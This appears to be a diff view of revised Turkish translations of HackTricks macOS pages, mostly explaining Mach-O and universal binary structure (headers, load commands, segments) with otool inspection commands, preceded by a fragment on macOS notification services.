Ana ikili dosyası **`/usr/sbin/distnoted`** olan **Dağıtılmış Bildirim Merkezi**, bildirim göndermenin başka bir yoludur. Bazı XPC hizmetlerini açığa çıkarır ve istemcileri doğrulamak için bazı kontroller yapar.
### Apple Push Bildirimleri (APN)
Bu durumda, uygulamalar **konular** için kayıt oluşturabilir. İstemci, Apple'ın sunucularına **`apsd`** aracılığıyla ulaşarak bir belirteç oluşturacaktır.\
Daha sonra, sağlayıcılar da bir belirteç oluşturacak ve Apple'ın sunucularına bağlanarak istemcilere mesaj gönderebilecektir. Bu mesajlar yerel olarak **`apsd`** tarafından alınacak ve bekleyen uygulamaya iletilen bildirimi iletecektir.
Daha sonra sağlayıcılar da bir belirteç oluşturacak ve Apple'ın sunucularına bağlanarak mesajları istemcilere gönderebilecektir. Bu mesajlar yerel olarak **`apsd`** tarafından alınacak ve bekleyen uygulamaya iletilen bildirimi iletecektir.
Tercihler, `/Library/Preferences/com.apple.apsd.plist` konumundadır.
@ -217,6 +220,6 @@ Ayrıca, şu kullanılarak daemon ve bağlantılar hakkında bilgi almak mümkü
Bu, kullanıcının ekranda görmesi gereken bildirimlerdir:
- **`CFUserNotification`**: Bu API, ekranda bir mesajla birlikte bir pop-up göstermenin bir yolunu sağlar.
- **`CFUserNotification`**: Bu API, ekranda bir mesajla çıkan bir pencere göstermenin bir yolunu sağlar.
- **Bülten Panosu**: Bu, iOS'ta kaybolan bir banner gösterir ve Bildirim Merkezi'nde saklanır.
- **`NSUserNotificationCenter`**: Bu, MacOS'ta iOS bülten panosudur. Bildirimlerle ilgili veritabanı, `/var/folders/<user temp>/0/com.apple.notificationcenter/db2/db` konumundadır.
- **`NSUserNotificationCenter`**: Bu, MacOS'ta iOS bülten panosudur. Bildirimlerle ilgili veritabanı `/var/folders/<user temp>/0/com.apple.notificationcenter/db2/db` konumundadır.

View file

@ -1,18 +1,19 @@
# macOS Evrensel ikili dosyaları ve Mach-O Formatı
{% hint style="success" %}
AWS Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**.
* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarını paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
{% endhint %}
## Temel Bilgiler
@ -26,7 +27,7 @@ Bu ikili dosyalar genellikle **Mach-O yapısını** takip eder, bu yapının tem
![https://alexdremov.me/content/images/2022/10/6XLCD.gif](<../../../.gitbook/assets/image (470).png>)
## Yağlı Başlık
## Fat Başlık
Dosyayı şu komutla arayın: `mdfind fat.h | grep -i mach-o | grep -E "fat.h$"`
@ -47,7 +48,7 @@ uint32_t align; /* 2'nin üssü olarak hizalama */
};
</code></pre>
Başlık, **sihirli** baytları ve dosyanın içerdiği **mimari sayısını** (`nfat_arch`) takip eden her mimarinin bir `fat_arch` yapısına sahip olduğu **sayıları** içerir.
Başlık, **sihirli** baytları ve dosyanın içerdiği **mimari sayısını** (`nfat_arch`) takip eden her mimarinin bir `fat_arch` yapısına sahip olduğu **sayıyı** içerir.
Şununla kontrol edin:
@ -57,7 +58,7 @@ Başlık, **sihirli** baytları ve dosyanın içerdiği **mimari sayısını** (
/bin/ls (mimari arm64e için): Mach-O 64-bit yürütülebilir arm64e
% otool -f -v /bin/ls
Yağlı başlıklar
Fat başlıklar
fat_magic FAT_MAGIC
<strong>nfat_arch 2
</strong><strong>mimari x86_64
@ -80,11 +81,11 @@ veya [Mach-O View](https://sourceforge.net/projects/machoview/) aracını kullan
<figure><img src="../../../.gitbook/assets/image (1094).png" alt=""><figcaption></figcaption></figure>
Genellikle 2 mimari için derlenen evrensel bir ikili dosya, sadece 1 mimari için derlenen bir dosyanın boyutunu **iki katına çıkarır**.
Genellikle 2 mimari için derlenen bir evrensel ikili dosya, yalnızca 1 mimari için derlenen bir dosyanın boyutunu **iki katına çıkarır**.
## **Mach-O Başlık**
Başlık, dosya hakkında temel bilgiler içerir, örneğin sihirli baytlarla dosyayı Mach-O dosyası olarak tanımlamak ve hedef mimari hakkında bilgi içerir. Şurada bulabilirsiniz: `mdfind loader.h | grep -i mach-o | grep -E "loader.h$"`
Başlık, dosya hakkında temel bilgiler içerir, örneğin dosyayı Mach-O dosyası olarak tanımlamak için sihirli baytları ve hedef mimari hakkında bilgiler içerir. Şurada bulabilirsiniz: `mdfind loader.h | grep -i mach-o | grep -E "loader.h$"`
```c
#define MH_MAGIC 0xfeedface /* the mach magic number */
#define MH_CIGAM 0xcefaedfe /* NXSwapInt(MH_MAGIC) */
@ -115,16 +116,16 @@ uint32_t reserved; /* reserved */
Farklı dosya türleri bulunmaktadır, bunlar [**örneğin burada tanımlanmıştır**](https://opensource.apple.com/source/xnu/xnu-2050.18.24/EXTERNAL\_HEADERS/mach-o/loader.h). En önemlileri şunlardır:
- `MH_OBJECT`: Taşınabilir nesne dosyası (derlemenin ara ürünleri, henüz yürütülebilir değil).
- `MH_EXECUTE`: Yürütülebilir dosyalar.
- `MH_FVMLIB`: Sabit VM kütüphane dosyası.
- `MH_CORE`: Kod Dökümleri
- `MH_PRELOAD`: Önceden yüklenmiş yürütülebilir dosya (artık XNU'da desteklenmiyor)
- `MH_DYLIB`: Dinamik Kütüphaneler
- `MH_DYLINKER`: Dinamik Bağlayıcı
- `MH_BUNDLE`: "Eklenti dosyaları". `NSBundle` veya `dlopen` tarafından açıkça yüklenen -bundle ile oluşturulur.
- `MH_DYSM`: Eş `.dSym` dosyası (hata ayıklama sembolleri içeren dosya).
- `MH_KEXT_BUNDLE`: Çekirdek Uzantıları.
* `MH_OBJECT`: Taşınabilir nesne dosyası (derlemenin ara ürünleri, henüz yürütülebilir değil).
* `MH_EXECUTE`: Yürütülebilir dosyalar.
* `MH_FVMLIB`: Sabit VM kütüphane dosyası.
* `MH_CORE`: Kod Dökümleri
* `MH_PRELOAD`: Önceden yüklenmiş yürütülebilir dosya (artık XNU'da desteklenmiyor)
* `MH_DYLIB`: Dinamik Kütüphaneler
* `MH_DYLINKER`: Dinamik Bağlayıcı
* `MH_BUNDLE`: "Eklenti dosyaları". GCC'de -bundle kullanılarak oluşturulur ve `NSBundle` veya `dlopen` tarafından açıkça yüklenir.
* `MH_DYSM`: Eş `.dSym` dosyası (hata ayıklama sembolleri içeren dosya).
* `MH_KEXT_BUNDLE`: Çekirdek Uzantıları.
```bash
# Checking the mac header of a binary
otool -arch arm64e -hv /bin/ls
@ -147,19 +148,19 @@ Kaynak kod ayrıca kütüphaneleri yükleme için kullanışlı birkaç bayrak t
* `MH_WEAK_DEFINES`: Binanın zayıf tanımlı sembolleri vardır
* `MH_BINDS_TO_WEAK`: Bina zayıf sembolleri kullanır
* `MH_ALLOW_STACK_EXECUTION`: Yığını yürütülebilir yap
* `MH_NO_REEXPORTED_DYLIBS`: Kütüphane LC\_REEXPORT komutlarına sahip değil
* `MH_NO_REEXPORTED_DYLIBS`: Kütüphane LC\_REEXPORT komutları içermez
* `MH_PIE`: Konum Bağımsız Yürütülebilir
* `MH_HAS_TLV_DESCRIPTORS`: İplik yerel değişkenlere sahip bir bölüm var
* `MH_NO_HEAP_EXECUTION`: Yığın/veri sayfaları için yürütme yok
* `MH_HAS_OBJC`: Bina Objective-C bölümlerine sahip
* `MH_SIM_SUPPORT`: Simülatör desteği
* `MH_DYLIB_IN_CACHE`: Paylaşılan kütüphane önbelleğindeki dylibs/frameworks üzerinde kullanılır.
* `MH_DYLIB_IN_CACHE`: Paylaşılan kütüphane önbelleğindeki dylib/framework'lerde kullanılır.
## **Mach-O Yükleme komutları**
## **Mach-O Yükleme Komutları**
**Dosyanın bellekteki düzeni** burada belirtilir, **sembol tablosunun konumu**, yürütme başlangıcında ana iş parçacığının bağlamı ve gerekli **paylaşılan kütüphaneler** ayrıntılandırılır. Talimatlar, binary'nin belleğe yükleme süreci hakkında dinamik yükleyici **(dyld)** için sağlanır.
**Dosyanın bellekteki düzeni** burada belirtilir, **sembol tablosunun konumu**, yürütme başlangıcında ana iş parçacığının bağlamı ve gerekli **paylaşılan kütüphaneler** ayrıntılandırılır. Talimatlar, ikincil yükleyici **(dyld)** üzerine, binanın belleğe yüklenme süreci hakkında bilgi sağlar.
Kullanılan **load\_command** yapısı, bahsedilen **`loader.h`** içinde tanımlanmıştır:
Kullanılan yapı **load\_command** yapısıdır, belirtilen **`loader.h`** içinde tanımlanmıştır:
```objectivec
struct load_command {
uint32_t cmd; /* type of load command */
@ -171,14 +172,14 @@ Sistem farklı şekillerde işlediği yaklaşık **50 farklı yükleme komutu t
### **LC\_SEGMENT/LC\_SEGMENT\_64**
{% hint style="success" %}
Temelde, bu tür Yükleme Komutları, ikili dosya yürütüldüğünde **\_\_TEXT** (yürütülebilir kod) ve **\_\_DATA** (işlem için veri) **segmentlerini** yüklemenin **Data bölümünde belirtilen ofsetlere** göre nasıl yapılacağını tanımlar.
Temelde, bu tür Yükleme Komutları, ikili dosya yürütüldüğünde **\_\_TEXT** (yürütülebilir kod) ve **\_\_DATA** (işlem için veri) **segmentlerini** yüklemenin **Veri bölümünde belirtilen ofsetlere göre** nasıl yapılacağını tanımlar.
{% endhint %}
Bu komutlar, bir işlem yürütüldüğünde **sanal bellek alanına eşlenen segmentleri tanımlar**.
**Farklı türlerde** segmentler bulunmaktadır, örneğin bir programın yürütülebilir kodunu tutan **\_\_TEXT** segmenti ve işlem tarafından kullanılan verileri içeren **\_\_DATA** segmenti. Bu **segmentler**, Mach-O dosyasının veri bölümünde bulunmaktadır.
**Farklı türlerde** segmentler bulunmaktadır, örneğin bir programın yürütülebilir kodunu içeren **\_\_TEXT** segmenti ve işlem tarafından kullanılan verileri içeren **\_\_DATA** segmenti gibi. Bu **segmentler**, Mach-O dosyasının veri bölümünde bulunmaktadır.
**Her segment**, daha fazla **bölümlere** ayrılabilir. **Yükleme komutu yapısı**, ilgili segment içindeki **bu bölümler hakkında bilgi** içerir.
**Her segment**, daha fazla **bölünebilen birden fazla bölüme** ayrılabilir. **Yükleme komutu yapısı**, ilgili segment içindeki **bu bölümlerle ilgili bilgileri** içerir.
Başlıkta önce **segment başlığını** bulursunuz:
@ -197,11 +198,11 @@ int32_t initprot; /* başlangıç VM koruması */
};
</code></pre>
Segment başlığının örneği:
Segment başlığının bir örneği:
<figure><img src="../../../.gitbook/assets/image (1126).png" alt=""><figcaption></figcaption></figure>
Bu başlık, **ardından başlıkları görünen bölümlerin sayısını** tanımlar:
Bu başlık, **ardından görünen başlıkların sayısını** tanımlar:
```c
struct section_64 { /* for 64-bit architectures */
char sectname[16]; /* name of this section */
@ -233,45 +234,45 @@ otool -lv /bin/ls
Bu komut tarafından yüklenen yaygın bölümler:
* **`__PAGEZERO`:** Çekirdeğe **adres sıfırı**nı **haritalamayı** emreder, böylece bu sayfadan **okunamaz, yazılamaz veya yürütülemez**. Yapıdaki maxprot ve minprot değişkenleri sıfıra ayarlanır, bu da bu sayfada **okuma-yazma-yürütme haklarının olmadığını** gösterir.
* Bu tahsis, **NULL işaretçi sıfırlama güvenlik ıklarını hafifletmek** için önemlidir. Bu, XNU'nun yalnızca belleğin ilk sayfasının (yalnızca ilk sayfa) erişilemez olduğunu sağlayan sert bir sayfa sıfırını zorunlu kılmasından kaynaklanmaktadır (yalnızca i386'da). Bir ikili dosya, küçük bir \_\_PAGEZERO oluşturarak ( `-pagezero_size` kullanarak) ilk 4k'yi kapsayabilir ve geri kalan 32 bit belleğin hem kullanıcı hem de çekirdek modunda erişilebilir olmasını sağlayabilir.
* Bu tahsis, **NULL işaretçi sıfırlama ıklarını hafifletmek için önemlidir**. Bu, XNU'nun yalnızca ilk bellek sayfasının (yalnızca ilk) erişilemez olduğunu sağlayan sert bir sayfa sıfırını zorunlu kılmasından kaynaklanmaktadır (yalnızca i386'da). Bir ikili dosya, ilk 4k'yi kapsayan küçük bir \_\_PAGEZERO oluşturarak ve geri kalan 32 bit belleğin hem kullanıcı hem de çekirdek modunda erişilebilir olmasını sağlayarak bu gereksinimleri karşılayabilir.
* **`__TEXT`**: **Okunabilir** ve **yürütülebilir** izinlere sahip **yürütülebilir** **kod** içerir (yazılabilir değil)**.** Bu segmentin yaygın bölümleri:
* `__text`: Derlenmiş ikili kod
* `__const`: Sabit veri (yalnızca okunabilir)
* `__[c/u/os_log]string`: C, Unicode veya os log dizisi sabitleri
* `__[c/u/os_log]string`: C, Unicode veya işletim sistemi günlüğü dizesi sabitleri
* `__stubs` ve `__stubs_helper`: Dinamik kitaplık yükleme sürecinde rol oynar
* `__unwind_info`: Yığın açma verileri.
* Tüm bu içeriğin imzalandığını ancak aynı zamanda yürütülebilir olarak işaretlendiğini unutmayın (bu ayrıcalığa ihtiyaç duymayan bölümlerin söz konusu ayrıcalığı gerektirmeyen bölümlerin sömürülmesi için daha fazla seçenek yaratır).
* Tüm bu içeriğin imzalandığını ancak aynı zamanda yürütülebilir olarak işaretlendiğini unutmayın (bu ayrıcalığa ihtiyaç duymayan bölümlerin söz konusu ayrıcalığı kullanarak istismar seçenekleri oluşturulması).
* **`__DATA`**: **Okunabilir** ve **yazılabilir** verileri içerir (yürütülemez)**.**
* `__got:` Global Offset Table
* `__nl_symbol_ptr`: Tembel olmayan (yükleme sırasında bağlanır) sembol işaretçisi
* `__la_symbol_ptr`: Tembel (kullanımda bağlanır) sembol işaretçisi
* `__const`: Gerçekte yalnızca okunabilir veri olmalıdır
* `__nl_symbol_ptr`: Tembel olmayan (yükleme sırasında bağlanan) sembol işaretçisi
* `__la_symbol_ptr`: Tembel (kullanımda bağlanan) sembol işaretçisi
* `__const`: Gerçekte yalnızca okunabilir veri olmalıdır (değil)
* `__cfstring`: CoreFoundation dizeleri
* `__data`: Başlatılmış küresel değişkenler
* `__data`: Başlatılmış global değişkenler
* `__bss`: Başlatılmamış statik değişkenler
* `__objc_*` (\_\_objc\_classlist, \_\_objc\_protolist, vb.): Objective-C çalışma zamanı tarafından kullanılan bilgiler
* **`__DATA_CONST`**: \_\_DATA.\_\_const'ın sabit olması garanti edilmez (yazma izinleri), diğer işaretçiler ve GOT de değil. Bu bölüm, `__const`, bazı başlatıcılar ve GOT tablosunu (çözümlendikten sonra) `mprotect` kullanarak **salt okunur** yapar.
* **`__LINKEDIT`**: Bağlayıcı için (dyld gibi) sembol, dize ve yer değiştirme tablosu girişleri gibi bilgileri içerir. Bu, ne `__TEXT` ne de `__DATA` içinde olmayan içerikler için genel bir konteynerdir ve içeriği diğer yükleme komutlarında açıklanmıştır.
* **`__DATA_CONST`**: \_\_DATA.\_\_const sabit olması garanti edilmez (yazma izinleri), diğer işaretçiler ve GOT de değil. Bu bölüm, `__const`, bazı başlatıcılar ve GOT tablosunu (çözümlendikten sonra) `mprotect` kullanarak **yalnızca okunabilir** yapar.
* **`__LINKEDIT`**: Bağlayıcı için (dyld gibi) sembol, dize ve yer değiştirme tablosu girişleri gibi bilgileri içerir. `__TEXT` veya `__DATA` içinde olmayan içerikler için genel bir konteynerdir ve içeriği diğer yükleme komutlarında açıklanmıştır.
* dyld bilgileri: Yeniden konumlandırma, Tembel olmayan/tembel/zayıf bağlama işlemleri ve ihraç bilgileri
* Fonksiyon başlangıçları: Fonksiyonların başlangıç adreslerinin tablosu
* Kod İçindeki Veriler: \_\_text içindeki veri adaları
* Fonksiyon başlangıçları: Fonksiyonların başlangıç adresleri tablosu
* Kod İçindeki Veri: \_\_text içindeki veri adaları
* Sembol Tablosu: İkili dosyadaki semboller
* Dolaylı Sembol Tablosu: İşaretçi/stub sembolleri
* Dize Tablosu
* Kod İmzası
* **`__OBJC`**: Objective-C çalışma zamanı tarafından kullanılan bilgileri içerir. Bu bilgiler, \_\_DATA segmentinde de bulunabilir, çeşitli \_\_objc\_\* bölümlerinde.
* **`__RESTRICT`**: İçeriği olmayan bir bölüm olan **`__restrict`** adlı tek bir bölüm içerir (ayrıca boştur) ve ikili dosya çalıştırıldığında DYLD çevresel değişkenlerini yoksayar.
* **`__RESTRICT`**: İçeriği olmayan bir bölüm olan **`__restrict`** adında tek bir bölüm içerir (ayrıca boştur) ve ikili dosya çalıştırıldığında DYLD çevresel değişkenlerini yoksayar.
Kodda görülebileceği gibi, **bölümler ayrıca bayrakları da destekler** (ancak çok fazla kullanılmazlar):
Kodda görülebileceği gibi, **bölümler ayrıca bayrakları destekler** (ancak çok fazla kullanılmazlar):
* `SG_HIGHVM`: Yalnızca çekirdek (kullanılmaz)
* `SG_FVMLIB`: Kullanılmaz
* `SG_NORELOC`: Bölümde yer değiştirme yok
* `SG_NORELOC`: Bölümde yeniden konumlandırma yok
* `SG_PROTECTED_VERSION_1`: Şifreleme. Örneğin Finder tarafından metni şifrelemek için `__TEXT` segmentini kullanır.
### **`LC_UNIXTHREAD/LC_MAIN`**
**`LC_MAIN`**, **entryoff özniteliğindeki** giriş noktasını içerir. Yükleme zamanında, **dyld** bu değeri (bellekteki) **ikili dosyanın tabanına ekler**, ardından bu talimata atlayarak ikili dosyanın kodunun yürütmesini başlatmak için bu konuma **atlar**.
**`LC_MAIN`**, **entryoff özniteliğindeki** giriş noktasını içerir. Yükleme zamanında, **dyld** bu değeri (bellekteki) **ikili dosyanın tabanına ekler**, ardından bu talimata atlayarak ikili dosyanın kodunun yürütmesini başlatır.
**`LC_UNIXTHREAD`**, ana iş parçacığını başlatırken kayıtların sahip olması gereken değerleri içerir. Bu zaten kullanımdan kaldırılmış olsa da **`dyld`** hala bunu kullanır. Bu ile ayarlanan kayıtların değerlerini görmek mümkündür:
```bash
@ -299,7 +300,7 @@ cpsr 0x00000000
```
### **`LC_CODE_SIGNATURE`**
Macho-O dosyasının **kod imzası** hakkında bilgi içerir. Yalnızca bir **imza bloğuna işaret eden** bir **ofset** içerir. Genellikle dosyanın sonunda bulunur.\
Macho-O dosyasının **kod imzası** hakkında bilgi içerir. Yalnızca **imza bloğuna işaret eden bir ofset** içerir. Genellikle dosyanın sonunda bulunur.\
Ancak, bu bölüm hakkında bazı bilgileri [**bu blog yazısında**](https://davedelong.com/blog/2018/01/10/reading-your-own-entitlements/) ve bu [**gists**](https://gist.github.com/carlospolop/ef26f8eb9fafd4bc22e69e1a32b81da4) bulabilirsiniz.
### **`LC_ENCRYPTION_INFO[_64]`**
@ -320,13 +321,13 @@ Rastgele UUID. Doğrudan herhangi bir şey için faydalı değildir ancak XNU, i
### **`LC_DYLD_ENVIRONMENT`**
İşlem yürütülmeden önce dyld'ye çevresel değişkenleri belirtmeye izin verir. Bu, işlem içinde keyfi kod yürütmesine izin verebileceğinden oldukça tehlikeli olabilir, bu yükleme komutu yalnızca `#define SUPPORT_LC_DYLD_ENVIRONMENT` ile derlenmiş dyld'de kullanılır ve yalnızca `DYLD_..._PATH` biçiminde yük yollarını belirleyen değişkenlerin işlenmesini daha da kısıtlar.
İşlem yürütülmeden önce dyld'ye çevresel değişkenleri belirtmeye izin verir. Bu, işlem içinde keyfi kodları yürütmeye izin verebileceğinden oldukça tehlikeli olabilir, bu yük komutu yalnızca `#define SUPPORT_LC_DYLD_ENVIRONMENT` ile derlenmiş dyld'de kullanılır ve yük yollarını belirleyen `DYLD_..._PATH` biçimindeki değişkenlere sadece işleme izin verir.
### **`LC_LOAD_DYLIB`**
Bu yükleme komutu, **yükleme ve bağlama** işlemini **yapılacak kütüphaneyi belirten** **dinamik** **kütüphane** bağımlılığınııklar. Mach-O ikili dosyanın gerektirdiği her kütüphane için bir `LC_LOAD_DYLIB` yükleme komutu bulunmaktadır.
Bu yükleme komutu, **yükleme ve bağlama komutunu** (dyld) **belirten** **dinamik bir kütüphane** bağımlılığınııklar. Mach-O ikilisinin gerektirdiği her kütüphane için bir `LC_LOAD_DYLIB` yükleme komutu bulunmaktadır.
* Bu yükleme komutu, **gerçek bağımlı dinamik kütüphaneyi tanımlayan** bir yapı olan **`dylib_command`** türünde bir yapıdır (struct dylib içeren bir dylib yapısı):
* Bu yükleme komutu, **gerçek bağımlı dinamik kütüphaneyi tanımlayan struct dylib içeren bir dylib_command** türünde bir yapıdır:
```objectivec
struct dylib_command {
uint32_t cmd; /* LC_LOAD_{,WEAK_}DYLIB */
@ -343,7 +344,7 @@ uint32_t compatibility_version; /* library's compatibility vers number*/
```
![](<../../../.gitbook/assets/image (486).png>)
Bu bilgiyi ayrıca şu komut satırı aracılığıyla da alabilirsiniz:
Bu bilgilere ayrıca şu komut satırı arayüzüyle de ulaşabilirsiniz:
```bash
otool -L /bin/ls
/bin/ls:
@ -365,15 +366,15 @@ Herhangi bir yapıcının ofsetleri, **\_\_DATA\_CONST** segmentinin **\_\_mod\_
## **Mach-O Verileri**
Dosyanın çekirdeğinde, yükleme komutları bölgesinde tanımlandığı gibi birkaç segmentten oluşan veri bölgesi bulunmaktadır. **Her segmentte barındırılabilecek çeşitli veri bölümleri** bulunmaktadır, her bölüm ise bir türe özgü kod veya veri içerir.
Dosyanın çekirdeğinde, yükleme komutları bölgesinde tanımlanan birkaç segmentten oluşan veri bölgesi bulunmaktadır. **Her segmentte çeşitli veri bölümleri barındırılabilir**, her bölüm de bir türe özgü kod veya veri içerir.
{% hint style="success" %}
Veri, temelde yükleme komutları **LC\_SEGMENTS\_64** tarafından yüklenen tüm **bilgileri** içeren kısımdır.
Veri, temelde yükleme komutları **LC\_SEGMENTS\_64** tarafından yüklenen tüm **bilgileri** içeren kısmıdır.
{% endhint %}
![https://www.oreilly.com/api/v2/epubs/9781785883378/files/graphics/B05055\_02\_38.jpg](<../../../.gitbook/assets/image (507) (3).png>)
Bunlar şunları içerir:
Bu şunları içerir:
* **Fonksiyon tablosu:** Program fonksiyonları hakkında bilgileri tutar.
* **Sembol tablosu**: İkili dosya tarafından kullanılan harici fonksiyonlar hakkındaki bilgileri içerir
@ -392,9 +393,9 @@ size -m /bin/ls
`__TEXT` segmentinde (r-x):
- `__objc_classname`: Sınıf isimleri (dizeler)
- `__objc_methname`: Metod isimleri (dizeler)
- `__objc_methtype`: Metod tipleri (dizeler)
- `__objc_classname`: Sınıf isimleri (diziler)
- `__objc_methname`: Metod isimleri (diziler)
- `__objc_methtype`: Metod tipleri (diziler)
`__DATA` segmentinde (rw-):

Some files were not shown because too many files have changed in this diff Show more